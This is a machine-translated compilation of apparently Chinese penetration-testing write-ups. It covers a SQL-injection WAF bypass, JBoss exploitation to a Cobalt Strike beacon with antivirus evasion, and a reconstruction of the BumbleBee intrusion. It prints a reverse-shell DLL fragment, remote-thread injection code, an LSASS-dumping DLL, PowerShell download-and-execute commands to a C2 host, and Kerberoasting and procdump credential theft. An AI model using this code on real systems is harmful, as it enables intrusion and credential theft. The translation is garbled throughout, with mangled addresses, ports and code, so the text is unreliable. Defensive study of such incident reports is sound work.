snprintf(command、sizeof(command)、 '%s%s%s'、myarray [0]、myarray [1]、myarray [2]、myarray [3]);
createProcess(null、command、null、null、true、0、null、null、ini_processo、processo_info);
}
}
dword winapi mainthread(lpvoid lpparam)
{
Reverseshell();
0を返します。
}
bool winapi dllmain(hinstance hinstdll、dword fdwreason、lpvoid lpresived)
{
hthreadを処理します。
if(fdwreason==dll_process_attach)
hthread=createThread(0、0、mainthread、0、0、0);
trueを返します。
}
許可は低くありません、それはドメインユーザー:です

2。SQL注入:背景紹介:友人が注射を送った。この注入は非常に難しいです。 XXクラウドのWAFがあり、バックエンドフィルターのコンマ、奇数と二重引用符、および通常の機能があります。私のアイデアは非常にシンプルで、16進数です。 regexp機能だけで、他のアイデアがあるべきだと思います。
(Case+When+Current_user+regexp+0x*+then+1+else+2*1e308+end)この方法では、データベースユーザーが作成されます。
ここで、声明の場合のケースについてお話したいと思います。声明が私たちが想像したよりもはるかに柔軟である場合。ここでメモを取り、について話します
最も一般的な:

異常なことを言って、私は2つのデモを書きます、そして私はそれを続け続けることができます:
2=2の場合、ケース1=1次に1=1 else 1/0 end


3.urlジャンプ +アイデンティティ認証トークンリーク:昨夜それを掘りました、そして、私が無視する理由は複製です。時々、私は一部のメーカーに非常に言葉を失い、脆弱性はそこにあり、彼らは修正されていません。それは私に幻想を与え、抜け穴を見つけ、ハニーポットを踏むという幻想を持っていました。資産範囲は:VC-*。xxx.comです
実際、私は簡単なファズを作ることができ、多くの資産を見つけたので、私はこの範囲に遭遇してとてもうれしいです。
1つずつ開いて視聴し、VC-Ss.xxx.comにアクセスしてサイトにアクセスし、直接ジャンプしてログインを求めます。
私は神ではなく、説明もありません。私はJSを見て、PATH情報へのアクセスが見つかりませんでした。
ファズから始めて、PHPであることがわかっている場合は簡単です。 FFUFを使用してPHP/API辞書を実行し、インターフェイス開発ドキュメント/API /***.htmlに実行します
インターフェイス開発ドキュメントの当初の意図は良好ですが、ほとんどのインターフェイス開発ドキュメントに関するスクリーンショット情報/インターフェイス情報は、二次脆弱性の搾取のリスクがある可能性があります。残念ながらテスト後、スクリーンショット情報はすべてプレーンテキストですが、ほとんどすべてのインターフェイスが401に直接アクセスできることがわかり、ID認証が必要であることがわかりました。私は少し無力でした。私があきらめたかったとき、私はいつも自分自身に読んだ後に慎重に読むように自分自身に言いました。私はインターフェイスドキュメントを見つめ続け、めくっていて、アイデンティティトークンリークやその他のセキュリティの脆弱性を見つけました。
私は抜け穴を提出し、朝:に重複したメッセージを受け取りました

オリジナルリンク:https://www.cnblogs.com/piaomiaohongchen/p/17130283.html
HireHackking
ツールの準備
jexboss
Kali Linux
CS 4.3
Windows Killer Onlineクエリ1
Windows Killer Onlineクエリ2
Windows Killer Onlineクエリ3
fscan
タイドシェルコード無料キル
lstar
Cobaltstrike用のその他のプラグイン
PEASS-NG
printspoofer

屋外インターネットサービス
1。イントラネットの水平方向を練習するために、外国のサイトに静かに焦点を当てる
2。JBossのWebサイトには、Deserializationの脆弱性があることがわかりました。はい、jexbossを正常に使用することはできません。
python jexboss.py -u https://xx.xx.xx/3。 6人の兄弟による脱派化のための究極のテストツールに成功しました

4.現在のユーザーWhoami、普通のユーザーを確認してください

5。IPアドレスIPConfigを確認します

6.キラータスクリスト /SVCがあるかどうかを確認します

7.クエリコンテンツをWindowsに貼り付けてソフトオンラインクエリを殺し、ソフトを殺していることを見つけます

8.サーバーがネットワークから外れているかどうかを確認してくださいwww.baidu.com、それは非常に良いです。サーバーはネットワーク外です


csはオンライン
です 1。ソフトキーリングソフトウェアがあるため、バイパスすることを検討する必要があります。 CSトロイの木馬を直接アップロードすることは絶対に不可能です。今回は、GitHub上のPythonを使用してパッケージ化された多くのExeファイルが大きすぎて非常にゆっくりとアップロードされているため、Tideシェルコードは殺されません。
2。CSはC言語のシェルコードになります

3.シェルコードコンテンツをTIDAL Webサイトにコピーし、生成されたexeをターゲットマシンにアップロードし、コマンドを実行します
c: \\ usr \\ desarrollo \\ jboss-5.1.0.ga \\ server \\ sigameserver \\ deploy \\ root.war \\ tideav-go1-2023-02-04-10-31-21-221261.exe tide

4。CSが正常に起動されます


許可強化
情報収集
1。現在のユーザーと特権を表示します
おっと
おっと /priv

2。システムバージョンとパッチ情報を表示します
SystemInfo

nombre de host: ameprowebegad
Nombre del Sistema OperatingVO: Microsoft Windows 10 Pro
Versi¢n Del Sistema Operativo: 10.0.19044 N/D Compilaci¢n 19044
Fabricante del Sistema OperatingVO: Microsoft Corporation
configuraci¢n del sistema operativo: estaci¢n de trabajo miembro
Tipo de compilaci¢n del sistema operativo:マルチプロセッサ無料
Propiedad de: appzusr
organaCi¢n Registadada:
id。 Del Producto: 00331-10000-00001-AA727
fecha de instalaci¢n original3: 13/5/2022、14336003:47
Tiempo de Arranque del Sistema: 1/2/2023、16336050336029
Fabricante del Sistema: VMware、Inc。
Modelo El Sistema: VMware仮想プラットフォーム
Tipo de sistema: x64ベースのPC
Procesador(ES): 2 Procesadores Instalados。
[01] : Intel64ファミリー6モデル85ステッピング7純粋なインテル〜2494 MHz
[02] : Intel64ファミリー6モデル85ステッピング7純粋なインテル〜2494 MHz
Versi¢n del Bios: Phoenix Technologies Ltd 6.00、12/11/2020
Directorio de Windows: C: \ Windows
Directorio de Sistema: C: \ Windows \ System32
dispuritivo de arranque: \ device \ harddiskvolume1
Configuraci¢n Regional Del Sistema: EZS-MX;ESPA¤ol(Mlyxico)
Idioma de entrada: es-mx;espa¤ol(menxico)
Zona Horaria:(UTC-06:00)Guadalajara、Ciudad de M、Menxico、Monterrey
Cantidad Total De Memoriaf¡sica:4.095 Mb
Mememeiaf¡sicadisonible: 1.201 Mb
MEMERIA VIRTUAL:TAMA配M XIMO: 4.799 MB
MEMERIA VIRTUAL: DISPONIBLE: 1.147 MB
MEMERIA VIRTUAL: EN USO: 3.652 MB
ubicaci¢n(es)de archivo de paginaci¢n: c: \ pagefile.sys
dominio: ame.local
Servidor de inicio de sesi¢n: \\ ameprowebegad
revisi¢n(es): 4 revisi¢n(es)instaladas。
[01] : KB5004331
[02] : KB5003791
[03] : KB5006670
[04] : KB5005699
Tarjeta(s)de Red: 1 Tarjetas de Interfaz de Red Instaladas。
Z [01] : Intel(R)Pro/1000 MTネットワーク接続
nombre de conexi¢n: ethernet0
DHCP Habilitado: no
Direcciones IP
[01] : 172.16.2.100
[02] : FE80:591:AE09:EEE1:888E
Hyper-V: se extect¢un hippervisorが必要です。 No se mostr n lascaracter¡sticas必要なパラhyper -v.3、オープンポートサービスnetstat -anoを表示
Conexiones activas
Proto direcci¢n local direcci¢n Remota estado pid
TCP 0.0.0.03360135 0.0.0.0:0リスニング600
TCP 0.0.0.03360445 0.0.0.0:0リスニング4
TCP 0.0.0.033601090 0.0.0.0:0リスニング7600
TCP 0.0.0.033601098 0.0.0.0:0リスニング7600
TCP Z 0.0.0.033601099 0.0.0.0:0リスニング7600
TCP 0.0.0.033603389 0.0.0.0:0リスニング1072
TCP 0.0.0.033603873 0.0.0.0:0リスニング7600
TCP 0.0.0.033604444 0.0.0.0:0リスニング7600
TCP 0.0.0.03360445 0.0.0.0:0リスニング7600
TCP 0.0.0.033604446 0.0.0.0:0リスニング7600
TCP 0.0.0.03360457 0.0.0.0:0リスニング7600
TCP 0.0.0.033604712 0.0.0.0:0リスニング7600
TCP 0.0.0.033604713 0.0.0.0:0リスニング7600
TCP 0.0.0.033605040 0.0.0.0:0リスニング6652
TCP 0.0.0.0:5985 0.0.0.0:0リスニング4
TCP 0.0.0.033607070 0.0.0.0:0リスニング3564
TCP 0.0.0.0:8009 0.0.0.0:0リスニング7600
TCP 0.0.0.033608080 0.0.0.0:0 Zリスニング7600
TCP 0.0.0.033608083 0.0.0.0:0リスニング7600
TCP 0.0.0.0336046305 0.0.0.0:0リスニング7600
TCP 0.0.0.0336047001 0.0.0.0:0リスニング4
TCP 0.0.0.0336049664 0.0.0.0:0リスニング832
TCP 0.0.0.0336049665 0.0.0.0:0リスニング680
TCP 0.0.0.0336049666 0.0.0.0:0リスニング1416
TCP 0.0.0.0336049667 0.0.0.0:0リスニング1612
TCP 0.0.0.0336049668 0.0.0.0:0リスニング2452
TCP 0.0.0.0336049671 0.0.0.0:0リスニング832
TCP 0.0.0.0336049672 0.0.0.0:0リスニング3404
TCP 0.0.0.0336049704 0.0.0.0:0リスニング820
TCP 0.0.0.0336049708 0.0.0.0:0リスニング3048
TCP 0.0.0.0336051407 0.0.0.0:0リスニング7600
TCP 127Z.0.0.0.1:5140 0.0.0.0:0リスニング7172
TCP 127.0.0.1:51411 0.0.0.0:0リスニング7600
TCP 172.16.2.2.100:139 0.0.0.0:0リスニング4
TCP 172.16.2.2.100:8080 172.16.12.34:42602 Time_Wait 0
TCP 172.16.2.2.100:8080 172.16.12.34:42610確立された7600
TCP 172.16.2.100:8080 172.16.12.34336055672 Time_Wait 0
TCP 172.16.2.2.100:8080 172.16.12.34:55686 Time_Wait 0
TCP 172.16.2.2.100:49717 38.90.226.62:8883確立3576
TCP 172.16.2.2.100:50848 172.16.2.2.100:51407 TIME_WAIT 0
TCP 172.16.2.2.100:51413 172.16.2.2.19033601433確立された7600
TCP 172.16.2.2.100:51447 172.16.2.2.19033601433確立された7600
TCP 172.16.2.2.100:56063 172.16.2.11:2222確立3576
TCP 172.16.2.2.100:56538 92.223.66.483360443確立された3564
TCP [:] :135 [:] :0リスニングインズ600
TCP [:] :445 [:] :0リスニング4
TCP [:] :1090 [:] :0リスニング7600
TCP [:] :1098 [:] :0リスニング7600
TCP [:] :1099 [:] :0リスニング7600
TCP [:3360] :3389 [:] :0リスニング1072
TCP [:3360] :3873 [:] :0リスニング7600
TCP [:] :4444 [:] :0リスニング7600
TCP [:] :4445 [:] :0リスニング7600
TCP [:] :4446 [:] :0リスニング7600
TCP [:] :4457 [:] :0リスニング7600
TCP [:] :4712 [:] :0リスニング7600
TCP [:] :4713 [:] :0リスニング7600
TCP [:3360] :5985
HireHackking
序文
サイトのサイト分離タイプについての議論を見ました。情報収集のヒントを要約したいと思います。

テキスト
ウェブサイトライブラリ分離タイプサイトにはまだ要約記事がないので、ウェブサイトライブラリ分離タイプサイトに関する浸透のアイデアを記録しようとします。
サイトライブラリ分離タイプサイトの場合、通常、2つの侵入エントリポイント:を持つことができます
1.Web Webサイト
2。データベースの浸透のアイデアは、実際には非常に一般的です。しかし、ここでは、2つのエントリポイントが2つのパスにすぎない場合。
イントラネットの浸透はWeb Webサイトから行われ、サイトデータベースから分離され、イントラネットの浸透はデータベースから行われ、サイトデータベースから分離され、イントラネットの浸透はサイトWebサイトから分離され、イントラネットの浸透は異なるパスに従って異なる浸透テスト計画にカスタマイズされます。次の記録では、プロセスと簡単な問題を記録します。
1。ウェブ入り口からの浸透
Webポータルから、通常、ファイルのアップロード、コマンド実行、コード実行、SQLインジェクションの書き込み(Outfile、Log Backupなど)など、Webサイトのさまざまな脆弱性を把握します。
Web許可を取得したり、ファイルの読み取りなどの脆弱性を持つ場合、データベース構成ファイルも読み取り、データベースコンテンツを分析し、データベースのバックアップを見つけてから、後続の操作のためにデータベースターゲットIPを侵入します。
2。データベースの入り口からの浸透
しかし、ここでは、データベースのエントリポイントが外部ネットワークによって公開された弱いパスワードをポイントすると言わざるを得ません。 Web WebサイトSQLインジェクション。
データベースの入り口からの普及は、主により大きな権限を取得するか、浸透結果を拡大することです。たとえば、データベースからパスワード情報、ユーザー名などを取得できます。これにより、その後のイントラネットの浸透に効果的に役立ちます。
サイトはサイトライブラリから分離されており、データベースとWebは同じサーバーにありません。現時点では、パスが役に立たないため、Webを介して接続するための文を書くことはできません。 WebサイドからSQLインジェクションが見つかった場合、情報を収集して、次の方法を使用してアクセス許可を取得できます。
1.mysql
(1)WebサイドIPアドレスの配置
Information_schemaライブラリのプロセスリストをクエリすることにより、MySQLの現在の接続ステータスを確認できます。 Webアプリケーションはクエリデータベース操作を生成するため、ターゲットのIP:portがエコーされたホストフィールドに戻されます。
select * from information_schema.processlist;
WebエンドのIPを取得した後、Webエンドに浸透することができます。
(2)load_file()データベースが配置されているサーバーに関する機密情報を取得
secure_file_privパラメーター(mysql5.7以下)に制限がない場合、load_file()関数を使用してファイルコンテンツを読み取ることもできます。
select load_file( 'c:/test.txt');#left slash/
は、読み取りなどのネットワークカード情報を取得することもできます。
/etc/udev/rules.d/70-persistent-net.rulesネットワークカード名を取得します。
/etc/sysconfig/network-scripts/ifcfg-netcard static ipdhcp if /var/lib/dhclient/dhclient - netcard.lease
2.mssql
(1)ステーションライブラリが分離されているかどうかを判断します
クライアントホスト名を取得する
host_name();を選択します。
サーバーホスト名を取得します
@@ servernameを選択します。
結果に基づいて分離されているかどうかを判断すると、同じ結果がサーバーと同じである可能性があり、同じ結果はサイトライブラリの分離です。
(2)ストアドプロシージャ実行コマンド
MSSQLストアドプロシージャを介してシステムコマンドを実行することができ、権限を直接エスカレートして他のホストに侵入しようとすることができます。
一般的に使用される2つ:
XP_CMDSHELLSP_OACREATEは、データベースサーバーがネットワークから外れているかどうかを検出し、PingまたはCurlを実行してネットワークから外れているかどうかを確認できます。通常、MSSQLに遭遇すると、コマンドの実行を通じて直接オンラインになります。
また、データベースでもあるため、当然、いくつかの機密情報が含まれています。さらに浸透するために、パスワードブックまたはその他の情報を整理できます。
HireHackking
概要
認証情報を置き換え、パケットの結果を比較することにより、インターフェイスに期限切れの脆弱性があるかどうかを判断できます。

機能
Picture/JS/CSS/HTMLページなどの静的コンテンツのHTTPS自動フィルタリング、ブロッキング、サポート出力レポート、および完全なURL、リクエスト、応答
インストールと使用
GIT CLONE 3https://9GITHUB.COM/Y1NGLAMORE/IDTHOR_-DETECT_TTOR_-DETECT_THOR_-DETECT_THOR_-DETECT_THOR_-DTECTECT_THOR_THOR_THOR_THOR_THOR_THOR_THOR_THOR_THOR_THOR_THOR_-DETECT_THOR_THOR_THOR_THOR_THOR_-DETECT_THOR。 PIPインストール-R要件。txt
インストール依存関係
python3 start.py
Socks5: //127.0.0.133608889を聴くことができます。
start
スイッチメガおよびその他のプラグインを使用してエージェントに接続し、MITM.ITにアクセスして証明書インストールページに入力し、オペレーティングシステムに従って証明書をインストールします。
例としてmacosを取る:

ダウンロードしてインストールした後、キーチェーンアクセスを開き、mitmproxy証明書を見つけて、AlwaysStrusに変更します

インストール証明書
ターゲットシステムの2つのアカウントAとBを最初に準備し、システムの認証ロジック(Cookie、Header、パラメーターなど)に従ってAアカウント情報config/config.ymlを構成し、次にBアカウントにログインします

アカウントBを使用してアクセスすると、スクリプトは認証情報と再生を自動的に置き換え、応答結果に基づいて期限切れの脆弱性があるかどうかを判断します。

レポートを生成します
新しい脆弱性があるたびに、レポート/result.htmlに自動的に追加され、ブラウザを介して開きます。

特定のエントリをクリックして、対応するリクエストと応答を展開/崩壊させます。

検出ロジック

元の接続:https://github.com/y1nglamore/idor_detect_tool
HireHackking
0はじめに
実践的なケースの修復3《BumbleBee Roasts Its Way To Domain Admin》記事では、浸透ケースについて詳しく説明していますが、記事の組織構造は、タイムラインロジックに従って編成されるのではなく、ATTCKフレームワークに基づいています。したがって、浸透担当者が以前のプロセスとその後のプロセスを理解し、学習することは困難です。ここでは、タイムラインに従って実際の戦闘を整理して復元します。
《BumbleBee Roasts Its Way To Domain Admin》元のリンク

1日1(1日)
1.1サンプル配信
メールのダウンロードリンクを介して配信されるターゲット環境のマシンのようです。このサンプルはパスワードフリーパッケージです。減圧後、ファイルbc_invoice_report_corp_46.isoをリリースします。このISOファイルをマウントすると、LNKファイルドキュメントがリリースされ、このショートカットをダブルクリックするときに隠された悪意のあるローダーが実行されます。ショートカットの目標は次のとおりです。
c: \ windows \ system32 \ cmd.exe /c start rundll32 namr.dll、italjob

1.1.1 rundll32分析
rundll32を使用してロードおよび実行することは、一般的な侵入ルーチンです。 DLLでプログラムを実行することもできます。また、通常、シェルを取得するために使用することもできます。
Exploit/Windows/SMB/SMB_Deliveryを使用します
SRVHOST 10.X.X.Xを設定します
エクスプロイト


1.2悪意のあるプログラムのロードバンブルビー
ローダーバンブルビーはコバルトストライクセッションを返します。攻撃者は、このコバルトストライクシェルを使用してWab.exeを放出します。実行可能ファイルにはWMI実行があります。
c: \ windows \ system32 \ webm \ wmiprvse.exe -secured -embedding

wab.exeは、他の2つのプロセスExplorer.exeおよびrundll32.exeに悪意のあるコードを注入します。元のテキストによると、OpenProcess、VirtualAlloc、WriteProcessMemory、CreatereMotEthreadなどの古典的なWindowsシステムコールAPIを使用して、リモートスレッドインジェクションとプロセスインジェクションを使用します。これらの説明によると、攻撃者には少なくとも管理者の権限があります。一般に、彼が管理者の権限を持っている場合、彼はシステムの権限を持っています。記事の説明から判断すると、攻撃者はGetSystemを使用して権限を高めます。リモートスレッドインジェクションの例のコードは次のとおりです。
bool createremotethreadinjectdll(dword dwprocessid、char* pszdllfilename){
hprocess=nullを処理します。
dword dwsize=0;
lpvoid pdlladdr=null;
farproc pfuncprocaddr=null;
hprocess=:openprocess(process_all_access、false、dwprocessid); //プロセスを開いてプロセスハンドルを取得します
dwsize=1+ :3360lstrlen(pszdllfilename); //DLLサイズを取得します
PDLLADDR=:VIRTUALALLOCEX(HPROCESS、NULL、DWSIZE、MEM_COMMIT、PAGE_READWRITE); //アプリケーションの//
:WRITEPROCESSMEMORY(HPROCESS、PDLLADDR、PSZDLLFILENAME、DWSIZE、NULL); //メモリにDLLを書き込みます
pfuncproaddr=:3360GetProCADDRESS(:GETMODULEHANDLE( 'Kernel32.dll')、 'loadLibiary'); //関数loadlibraryaaaの関数アドレスを取得します
ハンドルhremotethread=:3360createremotethread(hprocess、null、0、(lpthread_start_routine)pfuncprocaddr、pdlladdr、0、null); //リモートスレッドを作成する
:CloseHandle(hprocess);
trueを返します。
}
1.3ホスト情報を収集した
攻撃者は、さまざまなコマンドを使用して、オペレーティングシステム、ネットワーク、ユーザー、ソフトウェア、プロセス、ドメインなどに関する情報を収集します。
IPCONFIG /ドメインを含むすべての#Getネットワーク情報
ping -n 1 [domain] #testドメイン接続
ネットグループ「ドメイン管理者」 /ドメイン#ゲットドメイン管理グループメンバー
nslookup x.x.x.x#get x.x.x IPアドレス
タスクリスト#getプロセス情報
SystemInfo #getシステム情報
WMIC製品は、名前、バージョン#ソフトウェア情報を取得します
wmic /node'ledactedプロセスリストブリーフ#getプロセス情報
ネットビュー\\ redacted \ files $ /すべて#columnリモートサーバーファイル共有ディレクトリ
dir \\ redacted \ c $ \ #column cディスクディレクトリ
TaskList /v /s x.x.x.x #remotely x.x.x.xプロセスの詳細を取得します
正味使用
ネットグループ「ドメインコンピューター」 /ドメイン
ネットグループ「エンタープライズ管理者」 /ドメイン
ネットグループ「ドメインコンピューター」 /ドメイン
ネットローカルグループ管理者
nltest /dclist
nltest /domain_trusts
ping -n 1 remote_ip
上記で実行されたコマンドによると、攻撃者はリモートサーバーX.X.X.Xの権限またはユーザー名とパスワードを取得しました。
1.4サーバーに水平に移動し、情報を収集し続ける
元の説明では、ローカル管理アカウントを使用してRDPプロトコルを介してサーバーに水平に移動し、Anydesk.exeをバックドアとしてリリースし、Adfind.exeを使用して情報を収集し始めます(説明により、サーバーはドメイン内にあるようです):
cmd.exe /c af.exe -f '(objectcategory=person)' ad_users.txt
cmd.exe /c af.exe -f 'objectcategory=computer' ad_computers.txt
cmd.exe /c af.exe -sc trustdump trustdump.txt
cmd.exe /c af.exe -gcb -sc trustdump trustdump.txt

2日目(2日目)
2.1サーバーに関する情報を収集し続けます
攻撃者は、RDPとアップロードされたVulnReconを使用してサーバーにログインし続けました。これは、Windowsマシンの上昇する許可へのパスを識別するために特別に設計されたツールです。

3日目(4日目)
3.1充電されたホストに関する情報を収集し続けます
攻撃者は、充電されたホストおよび環境上の複数のマシンにVulnReConツールとSysInternalsツールツールキットをアップロードし、VulnReCon、Adfind、Procdump、およびその他のツールを使用して情報を収集し続けました。その中で、彼らはリモートサービスを使用してProcDumpを実行してLSASS.exeのメモリを抽出して資格情報を取得し、説明に従って、少なくとも複数のホストと少なくとも1つのサーバーへの権限を取得しました。現在のところ、経営陣やより高い許可にアクセスできないようです。 Adfindを使用するプロセスは、元の制御ホストで発生しますが、もちろん、新しい水平に移動したホストでは除外されていません。
cmd.exe /c adfind.exe -f '(objectcategory=person)' ad_users.txt
cmd.exe /c adfind.exe -f 'objectcategory=computer' ad_computers.txt
cmd.exe /c adfind.exe -f '(objectcategory=guristanimationalunit)' ad_ous.txt
cmd.exe /c adfind.exe -sc Trustdump Trustdump.txt

3.1.1 VulnReCon分析
Vulnreconには、実行可能ファイルとDLL、つまりVulnrecon.exeおよびvulnrecon.dllがあります。これは、特権エスカレーションと情報収集の方法を列挙するために使用されます。元の制御ホストにアップロードするカスタムツールのようです。もちろん、水平に移動する新しいホストでは除外されていません。

#VulnRecon.dll PDB: D: \ a \ _Work \ 1 \ s \ artifacts \ obj \ win-x64.Release \ corehost \ cli \ apphost \ standalone \ reliey \ apphost.pdb
#vulnrecon.exe PDB: d: \ work \ rt \ vulnrecon \ vulnrecon \ obj \ release \ net5.0 \ vulnrecon.pdb
# 指示
Vulnrecon.exe -V
vulnrecon.exe -o
vulnrecon.exe -findvulnerability
Vulnrecon.exe -i
Vulnrecon.exe -M
cmd.exe /c vulnrecon.exe -findvulnerability c: \ programdata \ log.txt
cmd.exe /c vulnrecon.exe -i c: \ programdata \ 1.txt
cmd.exe /c vulnrecon.exe -o C: \ programdata \ out.txt



電力のエスカレーションは、元の充電されたホストで発生するLSASSメモリを取得するためにprocdumpを実行することであるようです。
### 3.2 LSAの資格情報を取得します。説明に従ってダンプされたファイルは、プログラムダタに保存されます。ネット使用およびその他の方法を使用して取得でき、亀裂にMimikatzまたはPypykatzを使用します。これらのプロセスは、元の充電されたホストから発見され、横方向に移動した被害者ホストとサーバーで発生します。
c: \ programdata \ procdump64.exe -accepteula -ma lsass.exe c: \ programdata \ lsass.dmp

4日目(7日目)
4.1充電されたサーバーに関する情報を収集し続けます
攻撃者は、Vulnreconを使用してサーバー上の情報を収集し続け、シートベルトツール(一般的に使用される情報収集ツール)も使用しました。説明によると、サーバーのローカル管理者特権が使用されています。
seatbelt.exe -group=all -outputfile='c: \ programdata \ seatinfo.txt'
vulnrecon.exe -o
Vulnrecon.exe -V
Vulnrecon.exe -M
cmd.exe /c vulnrecon.exe -findvulnerability c: \ programdata \ log.txt

5日目(11日目)

5.1充電されたホストにシェルをバウンスします
攻撃者は、ホストでPowerShellコマンドを実行し、ファイルを実行するコンテンツをダウンロードしたと常に非難されています。
c: \ windows \ system32 \ cmd.exe /c powershell.exe -nop -w hidden -c 'iex((new -Object net.webclient).downloadString(' http://a.b.c.d:80 /a '))'
Aで見つかったコバルトストライクのデフォルト構成文字MZREによれば、これはC2アドレスに接続する命令であると結論付けることができます。攻撃者は、攻撃者が制御するC2の充電されたホストを取得します。
![](https://img2022.cnblogs.com/blog/1070321/202208/1070321-20220817170635532-83148076.png)その後、他のプロセスへの投入を開始します。元の説明によると、svchost.exeなどのいくつかのプロセスを注入する必要があります。その後、攻撃者はPowerShellモジュールInvoke-Kerberoastを実行し、KerberoAsting攻撃を開始しました。この場所は、請求されたホストからまだ開始されています。
#Parent Process svchost.exe -k Clipboardsvcgroup -s Cbdhsvc
IEX(new-Object net.webclient).downloadString( 'http://127.0.0.1336036177/'); invoke -kerberoast -outputformat hashcat | fl | Out -File -Filepath C: \ ProgramData \ REDACTED \ PS.TXT -APPEND -FORCE -ENCODING UTF8
#出力はハッシュカットモードであり、攻撃はハッシュカットを使用してブルートフォースクラッキングである必要があります
5.1.1 Kerberosting攻撃分析
KerberoAsting Attack Analysisは、TGS-KerberoAstingとAs-KerberoAstingの2つのタイプに分けられます。 Rubeus.exe、MSF、PowerShellを使用して実行できます。 Net-ntlmhashを取得するものは、Hashcatおよびその他のツールを使用してNTLMHASHまたはパスワードを取得することができます。

5.2資格抽出にMinidumpを使用
攻撃者は、Kasperskyを回避できる資格抽出方法であるMinidumpを使用し始めました。この場所は、請求されているホストからまだ開始されます。
#Parent Process svchost.exe -k Clipboardsvcgroup -s Cbdhsvc
cmd.exe /c rundll32.exe c: \ windows \ system32 \ comsvcs.dll、minidump 968 c: \ programdata \ redacted \ lsass.dmp full
5.2.1ミニダンプ分析
攻撃者は、Kasperskyを回避できる資格抽出方法であるMinidumpを使用し始めました。この場所は、請求されているホストからまだ開始されます。
#include stdio.h
#include windows.h
#include tlhelp32.h
typedef hresult(winapi* _minidumpw)(dword arg1、dword arg2、pwchar cmdline);
int getlsasspid(){
ProcessEntry32エントリ;
entry.dwsize=sizeof(processentry32);
hsnapshot=createToolHelp32SNAPSHOT(TH32CS_SNAPPROCESS、NULL);
if(process32first(hsnapshot、entry)){
while(process32next(hsnapshot、entry)){
if(wcscmp(entry.szexefile、l'lsass.exe ')==0){
return entry.th32processid;
}
}
}
CloseHandle(hsnapshot);
0を返します。
}
void getdebugprivilege()
{
bool fok=false;
htokenを処理します。
if(openProcessToken(getCurrentProcess()、token_adjust_privileges、htoken)))
{
token_privileges tp;
tp.privilegecount=1;
lookupprivilegevalue(null、se_debug_name、tp.privileges [0] .luid);
tp.privileges [0] .attributes=true? se_privilege_enabled : 0;
調整tokenprivileges(htoken、false、tp、sizeof(tp)、null、null);
fok=(getLasterRor()==error_success);
CloseHandle(htoken);
}
}
void dumplsass()
{
wchar_t ws [100];
_minidumpw minidumpw;
minidumpw=(_minidumpw)getProcAddress(loadLibrary(l'Comsvcs.dll ')、' minidumpw ');
swprintf(ws、100、l '%u%hs'、getlsasspid()、 'c: \\ windows \\ temp \\ temp.bin full');
getDebugprivilege();
Minidumpw(0、0、WS);
}
bool apientry dllmain(hmodule hmodule、
dword ul_reason_for_call、
lpvoid lpresived
))
{
switch(ul_reason_for_call)
{
ケースdll_process_attach:
dumplsass();
壊す;
ケースdll_thread_attach:
ケースdll_thread_detach:
ケースdll_process_detach:
壊す;
}
trueを返します。
}
私はこのファイルを自分で編集しました。私はここにいます。元Aチームのボスに、浸透技術のビジョンと、喜んで共有してくれる外国のXPN巨人の精神に感謝します。

コンパイルと使用の参照
5.3充電されたホストの情報収集を続けます
Adfindを使用して、最初に充電されたホストに関する情報を収集し続けています。
cmd.exe /c adfind.exe -f '(objectcategory=person)' ad_users.txt
cmd.exe /c adfind.exe -f 'objectcategory=computer' ad_computers.txt
cmd.exe /c adfind.exe -sc Trustdump Trustdump.txt

5.4最初の充電されたマシンでPowerShellを再度実行します。
攻撃者は、ホストでPowerShellコマンドを実行し、ファイルを実行するコンテンツをダウンロードしていると常に非難されています。
c: \ windows \ system32 \ cmd.exe /c powershell.exe -nop -w hidden -c 'iex((new -Object net.webclient).downloadString(' http://a.b.c.d:80 /a '))'
上記のプロセスは5.1で詳細に説明されており、繰り返されません。
5.5その他のマシンに関する情報収集
その他のマシンで次のコマンドを実行します。
c: \ windows \ system32 \ cmd.exe /cネットアカウント /ドメイン
c: \ windows \ system32 \ cmd.exe /cネットビュー /すべて
c: \ windows \ system32 \ cmd.exe /c hoami
c: \ windows \ system32 \ cmd.exe /cネットビュー\\ x.x.x.x \ /all
c: \ windows \ system32 \ cmd.exe /c wmic /node:x.x.x.xプロセスリストブリーフ
c: \ windows \ system32 \ cmd.exe /c net ''ドメインコントローラー ' /ドメイン
c: \ windows \ system32 \ cmd.exe /c net nltest /dclist: [domain]
5.6 2つのバッチスクリプト
攻撃者は、環境内の他のターゲットを分析および発見できる2つのスクリプトS.BATとW.BATをアップロードおよび実行します。
#s.bat
エコーオフ
for /f %% i in(servers.txt)for /f 'tokens=2 delims=[]' %% j in( 'ping -n 1 -4' %% i '')do @echo %% j serv.log
#W.BAT
@ECHOオフ
for /f %% i in(workers.txt)for /f 'tokens=2 delims=[]' %% j in( 'ping -n 1 -4' %% i '')do @echo %% j work.log.log
5.7 last
2つのスクリプトが実行された後、最初に充電されたマシンで新しいコバルトストライクセッションが再び実行されます。その後、攻撃者はサービスアカウントを使用して水平方向に移動し、ドメインコントロールでコバルトストライクセッションを実行します。元の説明によると、これは弱いパスワードであり、TGS-KerberoAstingを割るためにHashCATによって得られたNet-NTLMハッシュ値をクラックする操作によって非難されます。攻撃者は、ドメインコントロールにLSASSを投棄します。 exeのプロセスメモリは、ドメイン管理権を取得し、ドメインコントロールを突破できます
元の出典:https://www.cnblogs.com/kevingeorge/p/16595912.html
HireHackking
ネットワーク構成
外部ネットワークWIN7:IP1: 192.168.127.91/255.255.255.0、GW:192.168.127.2(NATモード)IP2:1010.0.0.20.98-VMNET1(ホストモード)ドメインホストモード:10.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0。のみ)10.0.10.111-VMNET2(ホストモードのみ)ドメイン制御:10.0.10.110-VMNET2(ホストモードのみ)パスワード構成:Win7:Win7/Adminwin2016:administrator/admin@123、 ARP-SCAN -L同じネットワークセグメントの存続ホストをスキャンしている生存ホスト:192.168.127.91ポートをスキャンして、生き残ったターゲットマシンのIPアドレスをスキャンします
NMAP -SC -T4 192.168.127.91 ターゲットシステムがWin7であり、445ポートが開いていることを発見しました。 Eternal Blue(MS17-010)を使用してターゲットシステム
情報収集
にヒットしてみてください
イントラネットホストの浸透
